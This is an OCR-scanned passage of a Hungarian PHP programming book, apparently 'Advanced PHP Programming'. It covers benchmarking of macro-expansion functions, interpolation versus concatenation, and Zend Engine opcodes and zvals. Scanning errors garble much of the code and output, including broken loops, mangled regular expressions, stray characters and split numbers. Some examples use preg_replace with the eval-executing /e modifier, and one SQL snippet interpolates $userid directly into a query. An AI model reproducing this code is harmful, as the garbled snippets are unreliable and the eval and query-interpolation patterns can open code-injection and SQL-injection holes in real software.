'NAME' => 'George Schlossnagle',
'NICK' => 'muntoh',
'EMAIL' => 'george@omniti.com',
'SITENAME' => 'www.foo.com',
'BIRTHDAY' => '1 0 - 1 0 - 7 3 ') ;
506 PHP fejlesztés felsőfokon

Mintaszöveg gyanánt készíthetünk egy 2048 KB-os, véletlen szavakból álló dokumentu-
mot, melyben itt-ott szerepelnek a {NAME}, {NICK}, {EMAIL}, {SITENAME} és
{BIRTHDAY} makrók. A mérés kódja ugyanaz, amit eddig is használtunk a fejezetben:

$bm = new Benchmark_Iterate;


$bm->run(1000, 'expand_macros_vl', $text, $macros);
$result = $bm->get();
printf("expand_macros_vl %0.6f seconds/execution\n", $result['mean']) ;

Eredményként a következőt kapjuk:

expand_macros_vl 0 . 00 1 03 7 seconds/execution

Első látásra ez gyorsnak tűnik, de másodpercenként 100 jelölés értelmezése nem mond-
ható túl jó eredménynek, van mit javítani.

Először is, a preg_match meglehetősen bőbeszédű - egyszerűen elvégezhetjük a cseré-


ket, és nem kell törődnünk a sikertelen kísérletekkel. Emellett a PCRE függvények tömbö-
ket fogadnak mind a minták, mind a cserekifejezések változóiként. Ezt is kihasználva az
alábbiak szerint írhatjuk át az eljárást:

function expand_macros_y2(&$text, &$macroset) {


if ($text) {
preg_replace(array_keys($macroset), array_values($macroset), $text);
}
}

Ez nagyszerűen működik is, mindössze előtte át kell alakítani a makrókat tisztán szabá-
lyos kifejezésekké:

function pre_process_macros(&$macroset) {
foreach( $macroset as $k => $v ) {
$newarray["{"-$k."}"] = $v;
}
return $newarray;
}
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 507

Megjegyzés

Ha biztosak vagyunk SQL ismereteinkben, használhatjuk az alábbi lekérdezést:

SELECT NAME 'A{NAME\}/' , 'A{EMAILA }/'


FROM userinfo
WHERE userid = $userid

E módszer legnagyobb hátránya, hogy mindig újra kell kódolni a SELECT utasítást, ha
újabb oszlopok kerülnek a táblába. A SELECT * használatánál ugyanakkor a makrók cso-
dálatos módon megjelennek a tábla frissítése után.

Ez az alábbiak tanúsága szerint 15%-os teljesítménynövekedést eredményez:

$bm = new Benchmark_Iterate;


$bm->run(1000, 'expand_macros_v2', $text, pre_process_macros($macros) ) ;
$result = $bm->get();
printf("expand_macros_v2 % 0 . 6 f seconds/execution\n", $result['mean']);

expand_macros_v2 0 . 0 0 0 8 5 0 seconds/execution

Még tovább javíthatjuk kódunkat, ha megpróbáljuk kihasználni a makrók szerkezetét.


Makróink ugyanis nem véletlenszerű karakterláncok, hanem igenis hasonlítanak egymás-
hoz. Ahelyett tehát, hogy mindegyikükhöz külön szabályos kifejezést használnánk, meg-
kereshetjük őket egyetlen kifejezéssel, és az eredményből határozhatjuk meg egy kulcs
alapján a cserekifejezéseket:

function expand_macros_v3(&$text, &$macroset) {


if ($text) {
$text = preg_replace("/\{([ A } ] + ) \ } / e " ,
" (array_key_exists('\\1' ,
\$macroset)?\$macroset['\\1']:'{'.' \\1' .'}')",
$text);
}
}

Az eljárás középpontjában az alábbi csere áll:

$text = preg_replace("AÍ ( [ " } ] + ) \ } / e " ,


" (array_key_exists('\\1' ,
» \$macroset)?\$macroset['\\1']:'{'.'\\1'.'}')" .
$text) ;
508 PHP fejlesztés felsőfokon

Jóllehet az eljárás bonyolultnak tűnhet, a mögötte húzódó gondolat igen egyszerű: min-
den olyan karakterlánc esetében, ami kódcímkének néz ki (vagyis egy kapcsos zárójelek-
kel körülvett szó), elvégzünk egy kiértékelt cserét. (A kiértékeltségre a szabályos kifejezés
végén látható e betű utal. Ilyenkor nem egyszerűen behelyettesítjük a szöveget, hanem
előbb alkalmazzuk a kifejezésre az eval () függvényt, és azután ezt használjuk fel a he-
lyettesítésben.) A kiértékelt kifejezés megvizsgálja, hogy a kódcímke eleme-e a makróhal-
maznak, és ha igen, elvégzi a cserét. Ezzel meggátoljuk, hogy a kódcímkének tűnő, de
valójában nem ilyen szerepet betöltő kifejezéseket (például a JavaScript függvényeket)
szóközzel helyettesítsük.

A mérési eredmény ez esetben a következő:

expand_macros__v3 0. 0 00958 seconds/execution

Nos, ez meglehetősen furcsa. A kód „javítása" (amely kevesebb szabályos kifejezést keres)
lassabb, mint az eredeti változat! Mi lehet a gond?

A Perllel ellentétben a PHP-ben nincs lehetőségünk beállítani azt, hogy a rendszer először
kiértékelje a kifejezést, majd ismételten ezzel végezze el az összehasonlítást. A Periben ezt
az s / $pattern/ $sub/eo; segítségével tehettük meg - itt az o módosító arra utasítja
a szabályos kifejezést, hogy a $sub-ot csak egyszer fordítsa le. A PHP rendelkezik hasonló
„fordított" szabályoskifejezés-kezelő képességgel, melyet a preg_replace_callback ()
valósít meg, de használata számos helyzetben elég nehézkes.

Ha az eval függvényt használjuk egy PHP kódrészleten, a rendszer értelmezi, lefordítja,


majd végrehajtja. Minél egyszerűbb kódon alkalmazzuk, annál rövidebb idő alatt készül
el. Ha az eval használatának költségét a lehető legalacsonyabbra szeretnénk leszorítani
a végrehajtásonkénti cseréknél, megkísérelhetjük a kódot egyetlen függvényhívásra zsu-
gorítani. Mivel a függvény fordítása a fő beemelt fájl fordításánál megtörténik, így nagy-
részt megszabadulunk a hívásonkénti fordítás többletterhétől. íme egy kiértékelt helyette-
sítés, amely egyetlen segédfüggvényt használ:

function find_macro($sub, &$macros){


return array_key_exists($sub, $macros)?$macros[$sub]: "{$sub}";
}

function expand_macros_v4(&$text, &$macroset) {


if($text) {
$text = preg_replace("/\{([ " } ] + ) \ } / e " ,
"find_macro('\\1' , \$macroset)",
$text);
}
}
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 509

Bizonyára emlékszünk a str_replace függvényre, amely - mint neve is mutatja az an-


golul tudók számára - egy adott karakterlánc minden előfordulását egy másikra cseréli.
Mivel a cserekifejezések nevei rögzítettek, az str_replace ideális eszköznek tűnik fel-
adatunk elvégzésére. Érdekes lehet tehát ezt a megoldást is lemérnünk:

function expand_macros_v5(&$text, &$macroset) {


if($text) {
$text = str_replace(array_keys($macroset),
array_values($macroset),
$text);
}
}

Az elkészített változatokat ugyanazon a makró halmazon (20 makró, ebből 5 szerepel


a szövegben) futtatva a 19.2. ábrán látható eredményekhez jutunk (különböző üzenetmé-
reteknél):

19.2. ábra
A cserekifejezéseket alkalmazó módszer lineáris növekedésének összehasonlítása a preg_replace
alapú módszer nem lineáris növekedésével.

Láthatjuk, hogy az str_replace () jobbnak bizonyult, mint a preg_replace (),


amennyiben azonos módon használtuk őket, de a PHP 4 cserekifejezéseken alapuló
módszere még mindig vezet a végén. Ennek az az oka, hogy ez utóbbi csak egyetlen ke-
resést végez, szemben az str_replace () és a preg_replace () függvényekkel, me-
lyek egyaránt count (array_keys ( $macroset) ) keresést hajtanak végre.
510 PHP fejlesztés felsőfokon

Érdekes gyakorlat lehet megtalálni a $macroset és a szöveg méretének olyan együttesét,


ahol már érdemes a tiszta str_replace (PHP5) alapú módszert használni. Saját rendsze-
remen ez a határ 4 KB-os vagy kisebb dokumentumoknál 10 makró volt. Mivel azonos
API-kat használtunk az expand_macro () -megvalósításoknál, még arra is lehetőségünk
van, hogy dinamikusan váltsunk a módszerek között a makróhalmaz méretétől függően,
bár lehet, hogy ez már kicsit túlzás.

Annak oka, hogy az utóbbi makróhelyettesítési módszerek jobban méretezhetők, mint


a tiszta preg_replace () és str_replace (), az, hogy ez utóbbiak Ö(M*N) műveletet
igényelnek. Ez azért van, mert ezek az eljárások végigvizsgálják a teljes dokumentumot,
keresve az egyes makrókat. Ezzel szemben a cserekifejezéseket alkalmazó módszerek
(a 3- és 4. változat) csak O(N) keresést hajtanak végre (mivel egyetlen mintára vadász-
nak a dokumentumban) és azután egy sor (legfeljebb N) O(l) költségű hasítóérték-
keresést végeznek. Ahogy a makróhalmaz mérete csökken, a preg_replace () és az
str_replace () költsége egyre közelít az 0(N)-hez, és az eval () hívásának költsége
egyre szembetűnőbb lesz a cserekifejezést alkalmazó módszereknél.

Beszúrás vagy összetűzés?


A változók beszúrása a karakterláncokba az alábbi példával szemléltethető:
$name = ' George ' ;
$string = "Hello $name!\n";

Itt a $name aktuális értéke (' George ') bekerül a $string karakterlánc szerkezetébe,
amely így végeredményben a „Hello George! \n" értéket kapja.

A fejezet elején megemlítettem már, hogy a beszúrás költsége csökkent a PHP 4.3-as, illet-
ve 5-ös változatában. Ha ezt így, ahogy van, elfogadnánk, azzal éppen e könyv alapgon-
dolatának mondanánk ellent - készítsünk hát egy rövid tesztet az igazság felfedésére.
A karakterláncok összefűzése és beszúrása egyaránt igen gyors művelet a PHP-ben, hi-
szen mindkettő nyelvi alapelem. Egyikük működéséhez sincs szükség függvényhívásra, és
mindkettő rövid utasítássorozattal írható le a PHP virtuális gépén. Gyorsaságuk miatt, ha
burkolófüggvényt készítünk köréjük, és ezt hívjuk meg a mérőprogramból, jelentősen el-
torzíthatjuk a valódi eredményeket. Még a MyBench osztály használata is torzuláshoz ve-
zetne, hiszen így is szükség van felhasználói burkolófüggvényre. Mindezek miatt kényte-
lenek vagyunk magunk elvégezni a bejárást egy saját burkolófüggvényben (rövid ciklus-
ban, függvényhívások nélkül), és így mérni az eredményt:
require 'RusageBench.inc';

function interpolated($name, $iter) {


for($ i = 0; $ i t er ; $ i + + ) {
$string = "Hello $name and have a very nice day!\n";
}
}
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 511

function concatenated($name, $iter) {


for($i=0;$iter; $i++) {
$string = "Hello ".$name." and have a very nice day!\n";
}
}

$iterations = 100000;
foreach(array('interpolated', 'concatenated') as $func) {
$bm = new RusageBench;
$bm-run(l, $func, 'george', $iterations);
$result = $bm->get();
printf("$func\tUser Time + System Time: %0.6f\n",
($result[mean][ru_utime] +
$result[mean][ru_stime])/$iterations);
}

Ha ezt a PHP 4.2.3-ban futtatjuk, az alábbi eredményt kapjuk:

PHP 4.2.3
interpolated User Time + System Time: 0.000016
concatenated User Time + System Time: 0.000006

PHP 4.3-ban az eredmény így fest:

PHP 4.3
interpolated User Time + System Time: 0.000007
concatenated User Time + System Time: 0.000004

Bár látható, hogy a beszúrás sebessége jelentősen nőtt, az összefűzés segítségével még
mindig gyorsabban építhetjük fel karakterláncainkat dinamikusan. A 20. fejezetben megis-
merkedünk a Zend Engine (a PHP szívében található programmotor) felépítésével, és en-
nek kapcsán szó esik majd arról, miben különbözik a beépített és a felhasználói függvé-
nyek belső megjelenítése.

Teljesítményhangolás - okosan
Aki teljesítményhangolásra adja a fejét, meg kell ismerje Ahmdahl törvényét. Gene Ahm-
dahl az IBM egyik számítógéptudósa volt, az S/360 nagygépsorozat egyik vezető tervező-
je, de hírnevét leginkább a róla elnevezett törvényről kapta, amely a párhuzamosan futta-
tott programok sebességnövelésére vonatkozik. A törvény szerint, ha egy program két ré-
sze különböző sebességgel fut, a lassabb fogja meghatározni a futásidőt. A mi olvasatunk-
ban ez a következőt jelenti: a legnagyobb nyereséget a kód leglassabb részeinek optimali-
zálásától várhatjuk. Vagy másképp: ne várjunk sokat egy olyan kód optimalizálásától,
amely eleve csak a futásidő kis részéért felelős.
Bővíthetőség
A PHP és a Zend Engine titkai
A legtöbb amerikaihoz hasonlóan én is autóval járok munkába. Ismerem járművem alap-
vető képességeit. Tudom, milyen gyorsan képes haladni, milyen erős a fékje és milyen se-
bességgel érzem még biztonságosnak a kanyarok bevételét. Azt is tudom, hogy az olajat
5000 kilométerenként cserélni kell, és rendszeresen ellenőrizni a keréknyomást. Szorult
helyzetben magam is megoldom az olajcserét, de jobb szeretem szakemberre bízni.

Fizikaórákról megmaradt emlékeimből képes vagyok felidézni, általánosságban hogy mű-


ködik egy belső égésű motor, de arról már fogalmam sincs, mi történik mondjuk egy tur-
bófeltöltőben. Persze ezzel semmi gond nincs, hiszen én egy egyszerű úrvezető vagyok,
csak A pontból szeretnék eljutni B-be. Az autóm nem versenyautó, és én sem vagyok autó-
versenyző. Ezzel szemben az autóversenyzők rengeteget tudnak autójuk működéséről. Tu-
dásuk még akkor is értékes lehet, ha egy seregnyi szakértő biztosítja számukra a műszaki
hátteret, hiszen így közelebb juthatnak az autó teljesítőképességének határáig, és a terepen
képesek értékelni a kocsi működését, jelezve, ha valamilyen beállításra van szükség.

Az autózásban ugyan szelíd, hétköznapi ember vagyok, webhelyeim esetében azonban in-
kább hasonlítok autóversenyzőre, mint egyszerű hétköznapi autósra. Ezek nagy forgalmú
webhelyek, melyeknél még apró teljesítménybeli eltérések is komoly anyagi megterhelést
jelenthetnek. Mivel nem hétköznapi felhasználó vagyok, nem elégedhetek meg a PHP hét-
köznapi ismeretével. A PHP felépítésének átlátása nem feltétlenül szükséges ahhoz, hogy
valakiből nagyszerű PHP programozó váljon, de néhány dologban segítségünkre lehet:

• Könnyebben hozhatunk döntéseket az alkalmazások szerkezetéről a PHP erősségei


és gyenge pontjai ismeretében.
• Gyorsan felfedezhetjük és kijavíthatjuk a PHP kisebb hibáit.
• Megérthetjük, hol és hogyan érdemes bővítményeket alkalmaznunk.
• Megérthetjük a motor különböző részeinek működését.
516 PHP fejlesztés felsőfokon

Fejezetünk a PHP és a Zend Engine működésének elméleti áttekintését adja. Jelenleg


azonban nem készítünk egyetlen bővítményt sem - erre szolgál majd a következő két fe-
jezet, melyek építenek itt megszerzett tudásunkra. A fejezet megértéséhez nincs feltétlenül
szükség a C programozási nyelv ismeretére, bár hátránynak semmiképpen sem mondha-
tó, hiszen a motor rengeteg belső kódrészletét C-ben mutatjuk be.

A Zend Engine működése: opkódok és optömbök


A Zend Engine az alábbi lépésekben hajtja végre a programokat:

1. A program áthalad egy lexikai elemzőn, ami az emberi olvasásra alkalmas kódot
gép által értelmezhető jelekké alakítja. Ezek a jelek kerülnek át az értelmezőhöz.
2. Az értelmező fogadja a jelek folyamát a lexikai elemzőtől, és egy utasítássorozatot
{köztes kódot) készít belőle, melyet a Zend Engine megért. A Zend Engine egy vir-
tuális gép, amely gépi kód jellegű, háromcímes utasításkódokat fogad, és hajt vég-
re. Sok értelmező egy elvont nyelvtani fát (szintaxisfát) készít, amely módosítható,
illetve optimalizálható, mielőtt a kódelőállítóhoz kerülne. A Zend Engine értelmező
e lépéseket egyesítve állítja elő a köztes kódot a lexikai elemzőtől kapott jelekből.

Mi az, hogy virtuális gép?

A Zend Engine virtuális gép, vagyis olyan program, ami egy számítógépet utánoz.
Az olyan nyelvekben, mint a Java, a virtuális gép lehetővé teszi a kód hordozhatóságát,
így az egyik gépen lefordított bájtkódot futtathatjuk a másikon. A Zend Engine beépítet-
ten nem támogatja az előfordított programok értelmezését - a virtuális gép viszont rugal-
massá teszi a PHP-t.

Az x86 sorozatú processzorok (valószínűleg saját gépünkben is egy ilyen ketyeg) 75 alap-
műveletével szemben a Zend Engine csaknem 150 alapműveletet (a Zend szóhasználata
szerint opkódoi) támogat. Ezek között a virtuális gépek jellemző utasításai - például logi-
kai és matematikai műveletek - mellett összetettebb műveleteket is találhatunk, így egyet-
len utasítás felel meg az include () hívásának vagy egy karakterlánc kiírásának.

A virtuális gépek mindig lassabbak, mint gazdaszámítógépük, így az összetett műveletek


egy utasítássá olvasztása jelentős sebességnövelő tényező lehet. Ezt az általános módszert
CISC-nek (Complex Instruction Set Computer - összetett utasításkészletű gép) hívják,
szemben a RISC-kel (Reduced Instruction Set Computer - csökkentett utasításkészletű
gép), ami kifejezetten kevés utasításra támaszkodik - ezeket azonban igen gyorsan képes
végrehajtani.
20. fejezet • A PHP és a Zend Engine titkai 517

Annak a szemszögéből, aki PHP bővítményt készít, vagy a PHP-t egy alkalmazásba
kívánja beágyazni, mindez egyetlen lépést jelent: a fordítást. Vagyis: a fordítás
a programkódból köztes kódot állít elő. Az eredmény, amelyet a Zend virtuális gép
gépi kódjának tekinthetünk, (többé-kevésbé) gépfüggetlen.
A köztes kód utasításokból {műveleti kódok vagy opkódok, az angol „operation
code"-ból) álló rendezett tömb (műveleti tömb vagy optömb), melynek elemei alap-
jában háromcímes kódok: két tényező (operandus) a bemenet, egy pedig a kime-
net számára, valamint a tényezőket feldolgozó kezelő. A tényezők lehetnek állan-
dók (statikus értékek), vagy tartalmazhatják egy átmeneti változó címét, ami lénye-
gében a Zend virtuális gép egy regiszterének felel meg. Bonyolultabb esetben az
opkódok a program folyásának szabályozására is alkalmasak, módosítva az
optömbbeli helyzetet ciklusok, illetve feltételek esetében.
3. Miután elkészült a köztes kód, átkerül a végrehajtóhoz. Ez végighalad a tömbön, és
egymás után végrehajtja az utasításokat.

A fordítást és a végrehajtást a Zend Engine-ben két külön függvény végzi: a zend_com~


pile és a zend_execute. Belsőleg mindketten függvénymutatóként jelennek meg, ami
azt jelenti, hogy a bővítményekben mindkét lépést felülírhatjuk futásidőben. (Hogy miért
és miként tehetjük meg ezt, azt a későbbiekben láthatjuk majd.)

Érdemes megnéznünk az alábbi programhoz tartozó köztes kódot:

<?php
$hi = 'hello';
echó $hi;
?>

opnum line opcode opl op2 result


0 2 ZEND_FETCH_W "hi" '0
1 2 ZEND_ASSIGN '0 "hello"'0
2 3 ZEND_FETCH_R "hi" '2
3 3 ZEND_ECHO '2
4 5 ZEND_RETURN 1

Megjegyzés
A fejezetben szereplő köztes kódokat az op_dumper segítségével írtuk ki, melyet a 23- fe-
jezetben egy példa formájában teljes egészében meg is valósítunk. Dériek Rethans VLD-je,
melyet a http: //www.derickrethans .nl/vld.php címen találhatunk meg, szintén
képes e feladat végrehajtására.
518 PHP fejlesztés felsőfokon

Lássuk, mi zajlik a programban:

• 0. opkód - Első lépésben a 0. regiszterből egy mutatót készítünk, ami a $hi változó-
ra mutat. Ezután a ZEND_FETCH_W műveletet alkalmazzuk, mivel egy változóhoz
kell valamit hozzárendelni (a w a write, vagyis írás szó rövidítése).
• 1. opkód - A ZEND_ASSIGN kezelő hozzárendeli a hello értéket a 0. regiszterhez
(vagyis a $hi változóra irányuló mutatóhoz). Az 1. regiszterhez szintén hozzáren-
delünk egy értéket, de most nem használjuk. Rá olyankor van szükség, ha a hozzá-
rendelést az alábbihoz hasonló kifejezésben végezzük:
if($hi = ' h e l l o' ){}
• 2. opkód - Itt újra kiolvassuk a $hi értékét, ezúttal a 2. regiszterbe. Ezt
a ZEND_FETCH_R segítségével tesszük meg, mivel csak olvasni fogjuk
(R = reád, vagyis olvasás).
• 3. opkód - A ZEND_ECH0 kiírja a 2. regiszter tartalmát (pontosabban elküldi a kime-
neti átmeneti tárolóhoz) Az echó (valamint megfelelője, a print) a PHP beépített
műveletei, ellentétben a függvényekkel, amelyeket meg kell hívni.
• 4. opkód - A ZEND_RETURN l-re állítja a program visszatérési értékét. Jóllehet
a return-t nem hívtuk meg, minden programban megjelenik rejtve a return 1,
amennyiben más értéket nem adunk vissza.

Lássunk most egy kissé összetettebb példát:


<?php
$hi = 'hello';
echó strtoupper($hi);
?>

A köztes kód hasonlóan fest az előzőhöz:


opnum líne opcode opl op2 result
0 2 ZEND_FETCH_W "hi"'0
1 2 ZEND_ASSIGN '0 "hello"'0
2 3 ZEND_FETCH_R "hi"'2
3 3 ZEND_SEND_VAR '2
4 3ZEND_DO_FCALL "strtoupper" '3
5 3 ZEND_ECHO '3
6 5 ZEND_RETURN 1

Figyeljük meg a különbségeket a két program között:

• 3. opkód - A ZEND_SEND_VAR művelet egy, a 2. regiszterre irányuló mutatót ($hi


változó) helyez a paraméterverembe. Ezen keresztül juthatnak hozzá a függvények
paramétereikhez. Mivel itt egy belső függvény hívásáról van szó (amit C-ben, nem
pedig PHP-ben írtak), működése teljességgel rejtett a PHP elől. Később látjuk majd,
miként fogadják paramétereiket a felhasználói függvények.
20. fejezet • A PHP és a Zend Engine titkai 519

• 4. opkód - A ZEND_DO_FCALL meghívja az strtoupper függvényt, és jelzi, hogy


az eredményt a 3- regiszterben várja.

Következzék most egy példa, amely egy igen egyszerű folyamatvezérlést is tartalmaz:

Figyeljük meg, hogy a feltételes elágazási pontot a ZEND_JMPZ utasítás valósítja meg (itt
döntünk a ciklus végi ugrásról - megnézve, hogy elérte-e a $i az 5 értéket), magát az ug-
rást a ciklus elejére - az újabb feltételvizsgálathoz - pedig a ZEND_JMP.

Vegyük észre a következőket a fenti példákban:

• Hat regisztert foglaltunk le és használtunk a legutóbbi kódban, jóllehet egyszerre ket-


tőnél többet soha nem vettünk igénybe. A regiszterek újrahasznosítása nem jelenik
meg a PHP-ben, így nagy programokban akár több ezer regisztert is lefoglalhatnak.
• A kódban nem történt igazi optimalizálás. Ezt az is jól mutatja, hogy az utólagos
növelést...
$i++;
...előzetessé is átírhatjuk:
+ + $i;
Ezt azért tehetjük meg, mert a program üres környezetben használja (vagyis nem
szerepel olyan kifejezésben, ahol a $i előző értékére szükség volna). Mindezzel
egy érték regiszterbeli tárolását takaríthatjuk meg.
• Az ugrás sora nem jelenik meg a kiírt kódban - ez valójában a megjelenítő prog-
ram hibája. Mindazonáltal, a Zend Engine néhány belső használatú utasítást nem
használtként jelöl meg.
520 PHP fejlesztés felsőfokon

Mielőtt továbbhaladnánk, nézzünk meg még egy igen fontos példát. A korábbiakban lát-
hattuk, miként végzi a rendszer egy beépített függvény (nevezetesen az strtoupper) hí-
vásának kezelését. A PHP-ben írt függvények hívása sem tér el ettől sokban:

<?php
function hello($name) {
echó "hello\n";
}
hello("George") ;
?>

opnum line opcode opl op2 result


0 2 ZEND_NOP
1 5 ZEND_SEND_VAL "George"
2 5 ZEND_DO_FCALL "hello"'0
3 7 ZEND_RETURN 1

De hol a függvénykód? Ez a kód egyszerűen beállítja a parmétervermet (a ZEND_SEND_VAL


segítségével), majd meghívja a hello függvényt - de magát a függvénykódot nem találjuk.
Ennek oka az, hogy a PHP-ben a függvények maguk is optömbök, mintha csak kis progra-
mok lennének. íme példaként a hello függvényhez tartozó optömb:

FUNCTION: hello
opnum line opcode opl op2 result
0 2 ZEND_FETCH_W "name" '0
1 2 ZEND_RECV 1 '0
2 3 ZEND_ECHO "hello%0A"
3 4 ZEND_RETURN NULL

Ez meglehetősen hasonló a korábban látottakhoz - az egyetlen különbség a ZEND_RECV,


amely a paraméterveremből olvas. Az önálló programokhoz hasonlóan - jóllehet magunk
nem határozunk meg visszatérési értéket - a ZEND_RETURN bekerül a kódba, és a NULL
értékkel tér vissza.

A beemelt fájlok hívása is hasonlóképpen zajlik:

<?php
include("filé.inc");
?>

opnum line opcode opl op2 result


0 2 ZEND_INCLUDE_OR_EVAL "filé.inc" '0
1 4 ZEND_RETURN 1
20. fejezet • A PHP és a Zend Engine titkai 521

Mindez a PHP egy fontos tulajdonságát mutatja: Minden beemelés futásidőben történik,
így, amikor a rendszer először értelmezi a programot, elkészíti az ehhez tartozó optöm-
böt, és minden, a legfelső szintű fájlban meghatározott függvényt, illetve osztályt (amelyik
valójában fut) elhelyez a szimbólumtáblában; a beemelendő programállományokat vi-
szont még nem értelmezi. Ha a programot végrehajtjuk, és a rendszer talál egy include
utasítást, azt ott helyben értelmezi és végrehajtja. A 20.1. ábra egy egyszerű PHP program
futását mutatja be.

20.1. ábra
A PHP programok futtatási folyamata.
522 PHP fejlesztés felsőfokon

E működési mód az alábbi hozadékokkal jár:

• Rugalmasság - A PHP gyakran dicsért jellemzője, hogy futásidejű nyelv. Ennek


egyik fontos következménye, hogy lehetővé teszi fájlok feltételes beemelését, illet-
ve függvények és osztályok feltételes bevezetését. íme egy példa:
if($condition) {
include("filel.inc");
}
else {
include("file2.inc");
}

Példánk működését a beemelendő fájlok futásidejű értelmezése teszi hatékonyabbá


(mivel csak akkor történik meg a fájlok beemelése, ha tényleg szükség van rájuk),
emellett pedig megkímél a szimbólumok ütközésétől, amennyiben a két fájl ugyan-
annak a függvénynek vagy osztálynak két különböző megvalósítását tartalmazza.
• Sebesség - A beemelt fájok futás közben történő fordítása azt eredményezi, hogy
a program futásidejének jelentős részét ezek fordítása teszi ki. Ha egy fájlt kétszer
emelünk be, kétszer kell lefordítani és végrehajtani. Az include_once és a re-
quire_once részben orvosolja a gondokat, de a helyzetet tovább súlyosbítja,
hogy a PHP visszaállítja a fordító állapotát a programok futtatása között. (Hamaro-
san szólunk arról, miként csökkenthetjük ennek hatását.)

Változók
A változók bevezetésének (deklarálásának) módja szerint a programnyelvek két csoportra
oszthatók:

• Statikus típusokra épülő nyelvek - A statikus nyelvek - mint a C++ vagy a Java - eseté-
ben minden változó kap egy típust (ilyen például az int vagy a String), amely
változatlan marad a fordítás során.
• Dinamikus típusokra épülő nyelvek - A dinamikus nyelvek - mint a PHP, a Perl,
a Python vagy a VBScript - esetében a típusok meghatározása automatikusan törté-
nik futásidőben. Tegyük fel, hogy az alábbi kódsort használjuk:
$variable = 0;
Ekkor a PHP automatikusan integer típusú változót hoz létre.

Van még két további tulajdonság, melyek a típusok kikényszerítésére és átalakítására vo-
natkoznak:

• Erős típusosság - Az erősen típusos nyelvekben, ha egy kifejezés nem megfelelő tí-
pusú paramétert kap, hibát vált ki. A statikus nyelvek egyúttal erősen típusosak is
(bár egyesek lehetővé teszik a típuskényszerítést). Egyes dinamikus nyelvek, mint
20. fejezet • A PHP és a Zend Engine titkai 523

a Python vagy a Ruby, szintén erősen típusosak; ezekben kivétel keletkezik, ha


a változó nem megfelelő környezetbe kerül.
• Gyenge típusosság - A gyengén típusos nyelvek nem feltétlenül kényszerítik ki a tí-
pusokat. Ezt a tulajdonságot gyakran kíséri a típusok automatikus átalakítása a kör-
nyezet igényeinek megfelelően. Vegyük például az alábbi kifejezést:
$string = "The value of \$variable is $variable.";
Itt a $variable (amely első értékadásánál automatikusan egész típusú lett) automa-
tikusan karakterlánccá változik, hiszen csak így vehet részt a $string felépítésében.

A fenti tulajdonságok mindegyike egyaránt jár előnyökkel és hátrányokkal. A statikus tí-


pusok lehetővé tesznek bizonyos fokú adatérvényesség-ellenőrzést a fordítás során.
Ugyanezen okból a dinamikus nyelvek általában lassabbak statikus társaiknál. Előnyük vi-
szont, hogy rugalmasabbak - éppen ez az oka annak, hogy a legtöbb értelmezett nyelv
ezt a módszert választja.

Az erős típusosság szintén együtt jár az érvényesség vizsgálatával, de futásidőben. A gyen-


ge típusosság ellenben rugalmasságot biztosít a típusok közötti automatikus átalakítás le-
hetőségével. Az értelmezett nyelvek megoszlanak e két módszer között. A Python és
a Ruby (amelyek mindketten általános célú nyelvek) erősen típusosak, míg a Perl, a PHP
és a JavaScript szerzői a gyenge típusosság mellett tették le a voksot.

A PHP dinamikus és gyengén típusos - ez alól egyetlen kivétel a függvények paramétertí-


pusának ellenőrzési lehetősége. így például a következő függvény egy User objektumot
követel meg:
function foo(User $array) { }
Ez pedig egy Exception objektumot vár:
function bar( Exception $array) {}

Az említett objektumtípusok helyett legfeljebb azok egy leszármazottját vagy megvalósító-


ját használhatjuk.

A PHP-ben használt típusok teljes megértéséhez be kell pillantanunk a motorban használt


adatszerkezetek kulisszatitkaiba. A PHP-ben minden változó zval, melyet az alábbi C
adatszerkezet jelenít meg...
struct _zval_struct {
/* változóadatok */
zvalue_value value; /* érték */
zend_uint refcount;
zend_uchar type; /* aktív típus */
zend_uchar is_ref;
};
524 PHP fejlesztés felsőfokon

...továbbá a kiegészítő adattároló:

typedef unión _zvalue_value {


long lval; /* long érték */
double dval; /* double érték */
struct {
char *val;
int len;
} str; /* string érték*/
HashTable *ht; /* hasítótábla-érték*/
zend_object_value obj; /* leíró egy objektumhoz */
} zvalue_value;

A zval tartalmazza saját értékét (erről hamarosan szólunk), egy ref count értéket, egy
típust, valamint az is_ref jelzőt.

A ref count a változóhoz tartozó hivatkozásszámláló. Amikor új változót példányosítunk,


mint az alábbi esetben, hivatkozásszámlálója az 1 értéket kapja:
$variable = 'foo ' ;

Ha a $variable változóról másolatot készítünk, az értékéhez tartozó zval hivatkozás-


számlálója növekszik. Az alábbi műveletet követően a ' f oo ' -hoz tartozó zval hivatko-
zásszámlálója 2 lesz:
$variable_copy = $variable;

Ha megváltoztatjuk a $variable értékét, egy olyan zval tartozik majd hozzá, melynek
hivatkozásszámlálója 1, az eredeti ' f oo ' karakterlánc hivatkozásszámlálója pedig szintén
l-re csökken:
$variable = 'bar';
Ha egy változó kikerül a rendszer hatóköréből (például ha meghatározása egy függvé-
nyen belül van, és a program visszatér a függvényből), vagy ha a változó megsemmisül,
a hozzá tartozó zval hivatkozásszámlálója 1-gyel csökken. Ha a ref count eléri a 0-t,
a szemétgyűjtő rendszer felszabadítja a tartalmát.

A zval típus külön figyelmet érdemel. Az ugyanis, hogy a PHP gyengén típusos nyelv,
nem jelenti azt, hogy a benne szereplő változók nem rendelkeznek típussal. A zval típus
tulajdonsága megadja a zval aktuális típusát, vagyis azt, hogy a zvalue_value unió
melyik elemében kell keresni az értékét.

Végezetül, az is_ref megadja, hogy a zval valóban tartalmaz-e adatokat, vagy egysze-
rűen csak hivatkozás egy másik zval-ra.
20. fejezet • A PHP és a Zend Engine titkai 525

A zvalue_value tartalmazza magát a zval értékét. Ez a PHP alaptípusainak - hosszú


egészek, lebegőpontos számok, karakterláncok, hasítótáblák (tömbök) és objektumleírók
- uniója. A unión a C összetett adattípusa, amely a lehető legkisebb tárfoglalás mellett
képes különféle adattípusokat különböző időben tárolni. Ez azt jelenti, hogy értéke lehet
szám, karakterlánc, tömb, vagy objektum, de egyszerre csak egyféle. Mindez eltér más
nyelvektől, mint a Perl, ahol e megjelenések együtt is előfordulhatnak (ez teszi lehetővé,
hogy egy változó teljesen másként jelenjen meg, ha karakterláncként, illetve ha számként
hivatkoznak rá).

Ha típust váltunk a PHP-ben (amit közvetlenül szinte sohasem teszünk meg — erre inkább
a háttérben kerül sor, ha a felhasználás módja a zval egy másik megjelenését teszi szük-
ségessé), a rendszer átalakítja a zvalue_value értéket a kívánt formátumra. Ez magya-
rázza például az alábbi viselkedést:
$a = "00",-
$a += 0;
echó $a;

